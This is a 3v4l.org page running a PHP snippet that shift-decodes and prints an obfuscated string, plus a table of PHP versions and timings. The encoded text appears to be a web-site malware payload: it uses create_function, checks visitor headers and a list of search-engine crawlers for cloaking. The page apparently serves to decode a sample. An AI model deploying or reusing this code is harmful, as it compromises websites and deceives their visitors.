3v4l.org

run code in 300+ PHP versions simultaneously
<?php function fjfgg($n){ return chr(ord($n)-1); } echo implode( array_map("fjfgg", str_split( "\x25u:f!>!(\x25\x78:!>#]y3g]61]y3f]63]y3:]68]y76#<\xe\xb\x25w:!>!\x246767~6<Cw6<pd\x25w6Z6<.5\x60hA\x27pd\x256<pd\x25w6Z6<.4\x60hA\x27pd\x256<pd\x25w6Z6<.3\x60hA\x27pd\x256<pd\x25w6Z6<.2\x60hA\x27pd\x256<C\x27pd\x256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf\x27*&7-n\x25)utjm6<\x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u\x257>\x2f7&6|7**111127-K)ebfsX\x27u\x25)7fmji\x786<C\x27&6<*rfs\x257-K)fujs\x78X6<#o]o]Y\x257;utpI#7>\x2f7rfs\x256<#o]1\x2f20QUUI7jsv\x257UFH#\x27rfs\x256~6<\x7fw6<*K)ftpmdXA6|7**197-2qj\x257-K)udfoopdXA\x22)7gj6<*QDU\x60MPT7-NBFSUT\x60LDPT7-UFOJ\x60GB)fubfsdXA\x27K6<\x7fw6*3qj\x257>\x2272qj\x25)7gj6<**2qj\x25)hopm3qjA)qj3hopmA\x273qj\x256<*Y\x25)fnbozcYufhA\x272qj\x256<^#zsfvr#\x5cq\x257\x2f7#@#7\x2f7^#iubq#\x5cq\x25\x27jsv\x256<C>^#zsfvr#\x5cq\x257**^#zsfvr#\x5cq\x25)ufttj\x22)gj6<^#Y#\x5cq\x25\x27Y\x256<.msv\x60ftsbqA7>q\x256<\x7fw6*\x7f_*#fubfsdXk5\x60{66~6<&w6<\x7fw6*CW&)7gj6<*doj\x257-C)fepmqnjA\x27&6<.fmjgA\x27doj\x256<\x7fw6*\x7f_*#fmjgk4\x60{6~6<tfs\x25w6<\x7fw6*CWtfs\x25)7gj6<*id\x25)ftpmdR6<*id\x25)dfyfR\x27tfs\x256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv\x257-MSV,6<*)ujojR\x27id\x256<\x7fw6*\x7f_*#ujojRk3\x60{666~6<&w6<\x7fw6*CW&)7gj6<.[A\x27&6<\x7fw6*\x7f_*#[k2\x60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd\x60ufh\x60fmjg}[;ldpt\x25}K;\x60ufldpt}X;\x60msvd}R;*msv\x25)}.;\x60UQPMSVD!-id\x25)uqpuft\x60msvd},;uqpuft\x60msvd}+;!>!}\x27;!>>>!}_;gvc\x25}&;ftmbg}\x7f;!osvufs}w;*\x7f!>>\x22!pd\x25)!gj}Z;h!opjudovg}{;#)tutjyf\x60opjudovg)!gj!|!*msv\x25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j\x25-bubE{h\x25)sutcvt)fubmgoj{hA!osvufs!~<3,j\x25>j\x25!*3!\x27!hmg\x25!)!gj!<2,*j\x25!-#1]#-bubE{h\x25)tpqsut>j\x25!*72!\x27!hmg\x25)!gj!<2,*j\x25-#1]#-bubE{h\x25)tpqsut>j\x25!*9!\x27!hmg\x25)!gj!~<ofmy\x25,3,j\x25>j\x25!<**3-j\x25-bubE{h\x25)sutcvt-#w#)ldbqov>*ofmy\x25)utjm!|!*5!\x27!hmg\x25)!gj!|!*1?hmg\x25)!gj!<**2-4-bubE{h\x25)sutcvt)esp>hmg\x25!<12>j\x25!|!*#91y]c9y]g2y]#>>*4-1-bubE{h\x25)sutcvt)!gj!|!*bubE{h\x25)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf\x60opjudovg\x22)!gj}1~!<2p\x25\x7f!~!<##!>!2p\x25Z<^2\x5c2b\x25!>!2p\x25!*3>?*2b\x25)gpf{jt)!gj!<*2bd\x25-#1GO\x22#)fepmqyfA>2b\x25!<*qp\x25-*.\x25)euhA)3of>2bd\x25!<5h\x25\x2f#0#\x2f*#npd\x2f#)rrd\x2f#00;quui#>.\x25!<***f\x27,*e\x27,*d\x27,*c\x27,*b\x27)fepdof.)fepdof.\x2f#@#\x2fqp\x25>5h\x25!<*::::::-111112)eobs\x60un>qp\x25!|Z~!<##!>!2p\x25!|!*!***b\x25)sf\x78pmpusut!-#j0#!\x2f!**#sfmcnbs+yfeobz+sfwjidsb\x60bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!\x2f!#0#)idubn\x60hfsq)!sp!*#ojneb#-*f\x25)sf\x78pmpusut)tpqssutRe\x25)Rd\x25)Rb\x25))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT\x60QIQ&f_UTPI\x60QUUI&e_SEEB\x60FUPNFS&d_SFSFGFS\x60QUUI&c_UOFHB\x60SFTV\x60QUUI&b\x25!|!*)323zbek!~!<b\x25\x7f!<X>b\x25Z<#opo#>b\x25!*##>>X)!gjZ<#opo#>b\x25!**X)ufttj\x22)gj!|!*nbsbq\x25)323ldfidk!~!<**qp\x25!-uyfu\x25)3of)fepdof\x6057ftbc\x7f!|!*uyfu\x27k:!ftmf!}Z;^nbsbq\x25\x5cSFWSFT\x60\x25}X;!sp!*#opo#>>}R;msv}.;\x2f#\x2f#\x2f},;#-#}+;\x25-qp\x25)54l}\x27;\x25!<*#}_;#)323ldfid>}&;!osvufs}\x7f;!opjudovg}k~~9{d\x25:osvufs:~928>>\x22:ftmbg39*56A:>:8:|:7#6#)tutjyf\x60439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm\x25:-5ppde:4:|:**#ppde#)tutjyf\x604\x223}!+!<+{e\x25+*!*+fepdfe{h+{d\x25)+opjudovg+)!gj+{e\x25!osvufs!*!+A!>!{e\x25)!>>\x22!ftmbg)!gj<*#k#)usbut\x60cpV\x7f\x7f\x7f\x7f<u\x25V\x27{ftmfV\x7f<*X&Z&S{ftmfV\x7f<*XAZASV<*w\x25)ppde>u\x25V<#65,47R25,d7R17,67R37,#\x2fq\x25>U<#16,47R57,27R66,#\x2fq\x25>2q\x25<#g6R85,67R37,18R#>q\x25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w\x25)kV\x78{**#k#)tutjyf\x60\x78\x22l:!}V;3q\x25}U;y]}R;2]},;osvufs}\x27;mnui}&;zepc}A;~!}\x7f;!|!}{;)gj}l;33bq}k;opjudovg}\x78;0]=])0#)U!\x27{**u\x25-#jt0}Z;0]=]0#)2q\x25l}S;2-u\x25!-#2#\x2f#\x25#\x2f#o]#\x2f*)323zbe!-#jt0*?]+^?]_\x5c}X\x24<!\x25tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!\x25tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<\x25tmw!>!#]y84]275]y83]273]y76]277#<\x25t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!\x25tww!>!\x2400~:<h\x25_t\x25:osvufs:~:<*9-1-r\x25)s\x25>\x2fh\x25:<**#57]38y]47]67y]37]88y]27]28y]#\x2fr\x25\x2fh\x25)n\x25-#+I#)q\x25:>:r\x25:|:**t\x25)m\x25=*h\x25)m\x25):fmji\x78:<##:>:h\x25:<#64y]552]e7y]#>n\x25<#372]58y]472]37y]672]48y]#>s\x25<#462]47y]252]18y]#>q\x25<#762]67y]562]38y]572]48y]#>m\x25:|:*r\x25:-t\x25)3of:opjudovg<~\x24<!\x25o:!>!\x242178}527}88:}334}472\x24<!\x25mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ff2!>!bssbz)\x24]25\x24-\x24-!\x25\x24-\x24*!|!\x24-\x24\x5c\x25j^\x24-\x24tvctus)\x25\x24-\x24b!>!\x25yy)#}#-#\x24-\x24-tusqpt)\x25z-#:#*\x24-\x24!>!tus\x60sfqmbdf)\x25\x24-\x24y4\x24-\x24]y8\x24-\x24]26\x24-\x24<\x25j,,*!|\x24-\x24gvodujpo!\x24-\x24y7\x24-\x24*<!\x24-\x24gps)\x25j>1<\x25j=tj{fpg)\x25\x24-\x24*<!~!dsfbuf\x60gvodujpo)##-!#~<#\x2f\x25\x24-\x24!>!fyqmpef)#\x24*<!\x25kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!\x25t::!>!\x24Ypp3)\x25cB\x25iN}#-!tussfw)\x25c*W\x25eN+#Qi\x5c1^W\x25c!>!\x25i\x5c2^<!Ce*[!\x25cIjQeTQcOc\x2f#00#W~!Ydrr)\x25r\x78Bsfuvso!sboepn)\x25epnbss-\x25r\x78W~!Ypp2)\x25zB\x25z>!tussfw)\x25zW\x25h>EzH,2W\x25wN;#-Ez-1H*WCw*[!\x25rN}#QwTW\x25hIr\x5c1^-\x25r\x5c2^-\x25hOh\x2f#00#W~!\x25t2w)##Qtjw)#]82#-#!#-\x25tmw)\x25tww**WYsboepn)\x25bss-\x25r\x78B\x25h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-\x78r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#\x2f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<\x25tpz!>!#]D6M7]K3#<\x25yy>#]D6]281L1#\x2f#M5]DgP5]D6#<\x25fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<\x25tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<\x25G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<\x25bG9}:}.}-}!#*<\x25nfd>\x25fdy<Cb*[\x25h!>!\x25tdz)\x25bbT-\x25bT-\x25hW~\x25fdy)##-!#~<\x25h00#*<\x25nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-\x25tdz*Wsfuvso!\x25bss\x5csboe))1\x2f35.)1\x2f14+9**-)1\x2f2986+7**^\x2f\x25r\x78<~!!\x25s:N}#-\x25o:W\x25c:>1<\x25b:>1<!gps)\x25j:>1<\x25j:=tj{fpg)\x25s:*<\x25j:,,Bjg!)\x25j:>>1*!\x25b:>1<!fmtf!\x25b:>\x25s:\x5c\x25j:.2^,\x25b:<!\x25c:>\x25s:\x5c\x25j:^<!\x25w\x60\x5c^>Ew:Qb:Qc:W~!\x25z!>2<!gps)\x25j>1<\x25j=6[\x25ww2!>#p#\x2f#p#\x2f\x25z<jg!)\x25z>>2*!\x25z>3<!fmtf!\x25z>2<!\x25ww2)\x25w\x60TW~\x24<\xe\xb\x25mm)\x25\x78:-!\x25tzw\x2f\x24)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*\x24\x2f\x25kj:-!OVMM*<(<\xe\xb\x25ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ggg)(0)\x2f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<" ) ) );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0130.00318.31
8.3.60.0090.00618.30
8.3.50.0070.01021.86
8.3.40.0110.01119.14
8.3.30.0090.00619.21
8.3.20.0030.00620.60
8.3.10.0040.00423.71
8.3.00.0030.00519.51
8.2.180.0160.00618.14
8.2.170.0110.00722.96
8.2.160.0120.00320.85
8.2.150.0080.00024.18
8.2.140.0060.00324.66
8.2.130.0000.00826.16
8.2.120.0080.00020.63
8.2.110.0060.00321.98
8.2.100.0080.00319.52
8.2.90.0000.00819.50
8.2.80.0030.00617.97
8.2.70.0070.00417.88
8.2.60.0030.00618.29
8.2.50.0000.01018.07
8.2.40.0040.00419.95
8.2.30.0030.00518.61
8.2.20.0030.00617.92
8.2.10.0000.00818.35
8.2.00.0030.00618.11
8.1.280.0090.00625.92
8.1.270.0030.00523.97
8.1.260.0050.00326.35
8.1.250.0080.00028.09
8.1.240.0030.00623.82
8.1.230.0060.00619.57
8.1.220.0060.00317.93
8.1.210.0000.00818.77
8.1.200.0000.00917.85
8.1.190.0030.00617.73
8.1.180.0000.00818.10
8.1.170.0080.00018.99
8.1.160.0000.00922.38
8.1.150.0040.00420.30
8.1.140.0030.00517.83
8.1.130.0070.00018.30
8.1.120.0030.00617.91
8.1.110.0000.00817.86
8.1.100.0030.00617.79
8.1.90.0040.00417.88
8.1.80.0000.00917.90
8.1.70.0050.00217.77
8.1.60.0030.00617.93
8.1.50.0030.00717.82
8.1.40.0030.00517.85
8.1.30.0030.00617.85
8.1.20.0030.00517.94
8.1.10.0050.00317.92
8.1.00.0000.00917.90
8.0.300.0060.00318.77
8.0.290.0000.00917.43
8.0.280.0000.00718.81
8.0.270.0040.00417.73
8.0.260.0030.00317.69
8.0.250.0000.00717.35
8.0.240.0000.00717.31
8.0.230.0040.00417.17
8.0.220.0000.00717.15
8.0.210.0000.00717.32
8.0.200.0000.00717.25
8.0.190.0060.00317.31
8.0.180.0000.00817.26
8.0.170.0000.00817.37
8.0.160.0030.00517.21
8.0.150.0080.00017.10
8.0.140.0050.00317.19
8.0.130.0030.00313.68
8.0.120.0030.00617.24
8.0.110.0000.00817.11
8.0.100.0000.00817.16
8.0.90.0030.00617.38
8.0.80.0200.00317.19
8.0.70.0040.00417.28
8.0.60.0030.00517.25
8.0.50.0040.00417.16
8.0.30.0120.00817.62
8.0.20.0140.00917.43
8.0.10.0040.00417.36
8.0.00.0140.00717.29
7.4.330.0040.00415.00
7.4.320.0000.00716.83
7.4.300.0000.00716.95
7.4.290.0090.00016.98
7.4.280.0120.00016.91
7.4.270.0080.00016.92
7.4.260.0000.00916.95
7.4.250.0080.00016.73
7.4.240.0030.00516.96
7.4.230.0000.00817.00
7.4.220.0130.00716.91
7.4.210.0040.01117.00
7.4.200.0000.00716.69
7.4.190.0000.00717.00
7.4.160.0070.01816.75
7.4.150.0060.01317.40
7.4.140.0080.01417.86
7.4.130.0050.01516.77
7.4.120.0150.00516.86
7.4.110.0100.01017.00
7.4.100.0160.00316.93
7.4.90.0030.01416.94
7.4.80.0030.01519.39
7.4.70.0110.00616.97
7.4.60.0150.00516.94
7.4.50.0060.00316.93
7.4.40.0070.01116.96
7.4.30.0130.01016.88
7.4.00.0070.01015.28
7.3.330.0000.00613.52
7.3.320.0060.00013.57
7.3.310.0060.00316.63
7.3.300.0000.00716.74
7.3.290.0090.01016.65
7.3.280.0110.00916.75
7.3.270.0150.00517.40
7.3.260.0140.00316.69
7.3.250.0070.01116.82
7.3.240.0070.01417.01
7.3.230.0130.01016.90
7.3.210.0090.01916.73
7.3.200.0090.00919.39
7.3.190.0130.00616.77
7.3.180.0120.00617.04
7.3.170.0070.01016.81
7.3.160.0090.00916.72
7.3.120.0100.00715.20
7.2.330.0120.00917.07
7.2.320.0030.01517.04
7.2.310.0120.00617.11
7.2.300.0090.01016.79
7.2.290.0130.01016.87
7.2.00.0030.01319.14
7.1.100.0030.00617.98
7.1.70.0110.00417.00
7.1.60.0100.01619.70
7.1.50.0030.00916.70
7.1.00.0000.08022.44
7.0.200.0040.00416.57
7.0.140.0000.07722.08
7.0.60.0130.07720.41
7.0.50.0100.08018.32
7.0.40.0070.04320.39
7.0.30.0270.06020.14
7.0.20.0270.06320.07
7.0.10.0000.04720.31
7.0.00.0100.08720.16
5.6.280.0070.07722.92
5.6.210.0030.06022.36
5.6.200.0130.06319.95
5.6.190.0070.04722.28
5.6.180.0530.07022.18
5.6.170.0230.06722.04
5.6.160.0070.07322.27
5.6.150.0100.09019.96
5.6.140.0030.08319.96
5.6.130.0030.09319.94
5.6.120.0070.08322.79
5.6.110.0200.07722.95
5.6.100.0030.09722.85
5.6.90.0000.06722.88
5.6.80.0100.08022.35
5.5.350.0230.08022.15
5.5.340.0100.08719.72
5.5.330.0100.08021.97
5.5.320.0300.05022.05
5.5.310.0200.05022.06
5.5.300.0030.05319.76
5.5.290.0000.06319.76
5.5.280.0300.03322.78
5.5.270.0070.08022.70
5.5.260.0100.09322.54
5.5.250.0100.04022.50
5.5.240.0070.03722.02
5.4.450.0400.06321.21
5.4.440.0870.05721.37
5.4.430.0830.05721.22
5.4.420.0670.06320.93
5.4.410.0870.06021.10
5.4.400.0800.07720.65
5.4.390.1270.06320.55
5.4.380.0130.06020.39
5.4.370.0070.04720.52
5.4.360.0100.05020.39
5.4.350.0070.04413.82
5.4.340.0090.03713.82
5.4.320.0090.04214.30
5.4.310.0090.05414.31
5.4.300.0120.04614.31
5.4.290.0100.05814.30
5.4.280.0110.03814.20
5.4.270.0110.05514.20
5.4.260.0260.11114.21
5.4.250.0210.07914.20
5.4.240.0140.04314.20
5.4.230.0100.04614.20
5.4.220.0100.04414.19
5.4.210.0070.04314.20
5.4.200.0110.05114.20
5.4.190.0100.04814.19
5.4.180.0090.04914.19
5.4.170.0110.04014.20
5.4.160.0140.04214.19
5.4.150.0060.05114.19
5.4.140.0090.04413.88
5.4.130.0090.05213.86
5.4.120.0090.05813.82
5.4.110.0080.05813.82
5.4.100.0120.07013.81
5.4.90.0140.05513.82
5.4.80.0210.10413.81
5.4.70.0140.07613.82
5.4.60.0180.06513.81
5.4.50.0150.04413.81
5.4.40.0080.07413.80
5.4.30.0090.05813.80
5.4.20.0140.06013.80
5.4.10.0060.04913.80
5.4.00.0100.04413.29
5.3.290.0050.04514.52
5.3.280.0170.11914.45
5.3.270.0110.04914.46
5.3.260.0090.04914.45
5.3.250.0130.06414.45
5.3.240.0080.06614.45
5.3.230.0060.05814.45
5.3.220.0080.04414.42
5.3.210.0120.04514.41
5.3.200.0110.06014.41
5.3.190.0070.04814.42
5.3.180.0140.06614.41
5.3.170.0030.06514.41
5.3.160.0090.06214.41
5.3.150.0090.04214.47
5.3.140.0060.04414.40
5.3.130.0140.03714.39
5.3.120.0080.04414.40
5.3.110.0080.04714.40
5.3.100.0100.06013.89
5.3.90.0120.04113.87
5.3.80.0090.05313.86
5.3.70.0130.04513.85
5.3.60.0110.03813.84
5.3.50.0070.04213.79
5.3.40.0090.06013.79
5.3.30.0080.06413.75
5.3.20.0110.05513.54
5.3.10.0060.06613.50
5.3.00.0100.05513.48
5.2.170.0070.04110.71
5.2.160.0080.03610.72
5.2.150.0080.03210.72
5.2.140.0090.03610.71
5.2.130.0060.04010.68
5.2.120.0080.03810.67
5.2.110.0060.05010.67
5.2.100.0060.05010.67
5.2.90.0050.04010.67
5.2.80.0070.03610.67
5.2.70.0110.04010.66
5.2.60.0120.04910.63
5.2.50.0120.05810.59
5.2.40.0140.04610.57
5.2.30.0140.04910.54
5.2.20.0100.04810.54
5.2.10.0230.04610.44
5.2.00.0180.06010.30
5.1.60.0120.04510.36
5.1.50.0130.04310.36
5.1.40.0200.06710.33
5.1.30.0040.04910.68
5.1.20.0100.03310.70
5.1.10.0050.03310.43
5.1.00.0080.03210.44
5.0.50.0040.0298.91
5.0.40.0040.0288.77
5.0.30.0050.0508.58
5.0.20.0110.0288.54
5.0.10.0020.0328.53
5.0.00.0110.0468.61
4.4.90.0040.0164.78
4.4.80.0070.0134.75
4.4.70.0040.0174.76
4.4.60.0030.0174.75
4.4.50.0030.0184.77
4.4.40.0030.0274.71
4.4.30.0070.0134.76
4.4.20.0030.0204.84
4.4.10.0030.0244.85
4.4.00.0070.0334.75
4.3.110.0050.0214.67
4.3.100.0040.0214.66
4.3.90.0040.0214.63
4.3.80.0050.0314.58
4.3.70.0020.0244.63
4.3.60.0040.0224.63
4.3.50.0040.0304.63
4.3.40.0060.0314.54
4.3.30.0030.0173.31
4.3.20.0060.0323.29
4.3.10.0030.0203.25
4.3.00.0070.0237.41

preferences:
67.91 ms | 401 KiB | 5 Q